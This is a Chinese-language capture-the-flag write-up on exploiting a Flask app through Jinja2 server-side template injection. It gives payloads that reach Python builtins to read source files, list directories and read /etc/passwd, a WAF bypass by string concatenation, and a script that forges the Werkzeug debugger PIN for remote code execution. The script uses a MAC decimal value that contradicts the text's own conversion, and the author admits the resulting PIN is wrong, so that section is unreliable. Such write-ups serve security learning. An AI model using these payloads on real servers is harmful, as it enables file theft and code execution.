因为题目名Flask,所以先观察功能点,寻找易发生ssti的功能。
考虑到功能异常抛出常见于解密环节
,所以在解密界面随便输入一段不能解密的。
直接报错抛出debug信息,看来是开启了debug模式。
payload的使用需要输入到加密界面,再将加密结果输入到解密界面查看结果。
方法1
首先想办法把完整的app.py读出来。
参考Templates Injections的payload
方便阅读把它换行了
{% for x in ().__class__.__base__.__subclasses__() %}
{% if "warning" in x.__name__ %}
{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}
{%endif%}{%endfor%}
修改成
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}
{% endif %}{% endfor %}
最后合并成一行
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}{% endif %}{% endfor %}
得到app.py的源码,审一下发现waf:
def waf(str):
black_list = ["flag","os","system","popen","import","eval","chr","request",
"subprocess","commands","socket","hex","base64","*","?"]
for x in black_list :
if x in str.lower() :
return 1
过滤了flag和os等函数和关键词。然后利用字符串拼接读找目录:
{{''.__class__.__bases__[0].__subclasses__()[75].__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}
e3snJy5fX2NsYXNzX18uX19iYXNlc19fWzBdLl9fc3ViY2xhc3Nlc19fKClbNzVdLl9faW5pdF9fLl9fZ2xvYmFsc19fWydfX2J1aWx0aW5zX18nXVsnX19pbXAnKydvcnRfXyddKCdvJysncycpLmxpc3RkaXIoJy8nKX19
['bin', 'boot', 'dev', 'etc',
'home', 'lib', 'lib64', 'media',
'mnt', 'opt', 'proc', 'root',
'run', 'sbin', 'srv', 'sys',
'tmp', 'usr', 'var', '
this_is_the_flag.txt', '.dockerenv', 'app']
再读一下flag:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('txt.galf_eht_si_siht/'[::-1],'r').read() }}{% endif %}{% endfor %}
eyUgZm9yIGMgaW4gW10uX19jbGFzc19fLl9fYmFzZV9fLl9fc3ViY2xhc3Nlc19fKCkgJX17JSBpZiBjLl9fbmFtZV9fPT0nY2F0Y2hfd2FybmluZ3MnICV9e3sgYy5fX2luaXRfXy5fX2dsb2JhbHNfX1snX19idWlsdGluc19fJ10ub3BlbigndHh0LmdhbGZfZWh0X3NpX3NpaHQvJ1s6Oi0xXSwncicpLnJlYWQoKSB9fXslIGVuZGlmICV9eyUgZW5kZm9yICV9
flag{d6cc3d62-b7b7-4f67-9a7c-8f6c1d0a24d0}
方法2-利用PIN码进行RCE
通过PIN码生成机制可知,需要获取如下信息:
- 服务器运行flask所登录的用户名。通过
/etc/passwd
中可以猜测为flaskweb或者root,此处用的flaskweb - modname。一般不变就是flask.app
- getattr(app, “name”, app.class.name)。python该值一般为Flask,该值一般不变
- flask库下app.py的绝对路径。
报错信息
会泄露该值。题中为/usr/local/lib/python3.7/site-packages/flask/app.py - 当前网络的mac地址的十进制数。通过文件
/sys/class/net/eth0/address
获取(eth0为网卡名),本题为1e:eb:d7:36:97:1e,转换后为756572715513436 - 机器的id:对于非docker机每一个机器都会有自已唯一的
id
- Linux:/etc/machine-id或/proc/sys/kernel/random/boot_i,有的系统没有这两个文件
docker:/proc/self/cgroup
首先,服务器运行flask所登录的用户名:
{{{}.__class__.__mro__[-1].__subclasses__()[102].__init__.__globals__['open']('/etc/passwd').read()}}
或
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}
得到
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
flaskweb:x:1000:1000::/home/flaskweb:/bin/sh
应该是flaskweb
其次,获得mac地址:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/sys/class/net/eth0/address','r').read() }}{% endif %}{% endfor %}
得到1e:eb:d7:36:97:1e
转十进制,得到33998276826910
接着,获取机器id:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/proc/self/cgroup','r').read() }}{% endif %}{% endfor %}
得到
12:pids:/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-podf1e3a9ea_2933_4e68_88c2_4986d5158ba7.slice/docker-cf77124b7964b6a76e5d2b6ff37408fe8cdac56eeef0aa4eaa0b6311377ba6e7.scope
11:devices:/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-podf1e3a9ea_2933_4e68_88c2_4986d5158ba7.slice/docker-cf77124b7964b6a76e5d2b6ff37408fe8cdac56eeef0aa4eaa0b6311377ba6e7.scope
10:cpuset:/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-podf1e3a9ea_2933_4e68_88c2_4986d5158ba7.slice/docker-cf77124b7964b6a76e5d2b6ff37408fe8cdac56eeef0aa4eaa0b6311377ba6e7.scope
9:perf_event:/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-podf1e3a9ea_2933_4e68_88c2_4986d5158ba7.slice/docker-cf77124b7964b6a76e5d2b6ff37408fe8cdac56eeef0aa4eaa0b6311377ba6e7.scope
8:rdma:/
7:blkio:/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-podf1e3a9ea_2933_4e68_88c2_4986d5158ba7.slice/docker-cf77124b7964b6a76e5d2b6ff37408fe8cdac56eeef0aa4eaa0b6311377ba6e7.scope
6:net_cls,net_prio:/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-podf1e3a9ea_2933_4e68_88c2_4986d5158ba7.slice/docker-cf77124b7964b6a76e5d2b6ff37408fe8cdac56eeef0aa4eaa0b6311377ba6e7.scope
5:memory:/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-podf1e3a9ea_2933_4e68_88c2_4986d5158ba7.slice/docker-cf77124b7964b6a76e5d2b6ff37408fe8cdac56eeef0aa4eaa0b6311377ba6e7.scope
4:freezer:/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-podf1e3a9ea_2933_4e68_88c2_4986d5158ba7.slice/docker-cf77124b7964b6a76e5d2b6ff37408fe8cdac56eeef0aa4eaa0b6311377ba6e7.scope
3:cpu,cpuacct:/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-podf1e3a9ea_2933_4e68_88c2_4986d5158ba7.slice/docker-cf77124b7964b6a76e5d2b6ff37408fe8cdac56eeef0aa4eaa0b6311377ba6e7.scope
2:hugetlb:/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-podf1e3a9ea_2933_4e68_88c2_4986d5158ba7.slice/docker-cf77124b7964b6a76e5d2b6ff37408fe8cdac56eeef0aa4eaa0b6311377ba6e7.scope
1:name=systemd:/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-podf1e3a9ea_2933_4e68_88c2_4986d5158ba7.slice/docker-cf77124b7964b6a76e5d2b6ff37408fe8cdac56eeef0aa4eaa0b6311377ba6e7.scope
0::/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-podf1e3a9ea_2933_4e68_88c2_4986d5158ba7.slice/docker-cf77124b7964b6a76e5d2b6ff37408fe8cdac56eeef0aa4eaa0b6311377ba6e7.scope
也就是cf77124b7964b6a76e5d2b6ff37408fe8cdac56eeef0aa4eaa0b6311377ba6e7
计算pin代码如下:
import hashlib
from itertools import chain
probably_public_bits = [
'flaskweb',#服务器运行flask所登录的用户名
'flask.app',#modname
'Flask',#getattr(app, "\_\_name__", app.\_\_class__.\_\_name__)
'/usr/local/lib/python3.7/site-packages/flask/app.py',#flask库下app.py的绝对路径
]
private_bits = [
'756572715513436',#当前网络的mac地址的十进制数
'cf77124b7964b6a76e5d2b6ff37408fe8cdac56eeef0aa4eaa0b6311377ba6e7'#机器的id
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
得到298-674-256
(不对,不知道咋回事)
参考链接:
PayloadsAllTheThings
https://blog.csdn.net/Alexhcf/article/details/108400293
https://blog.csdn.net/rfrder/article/details/110240245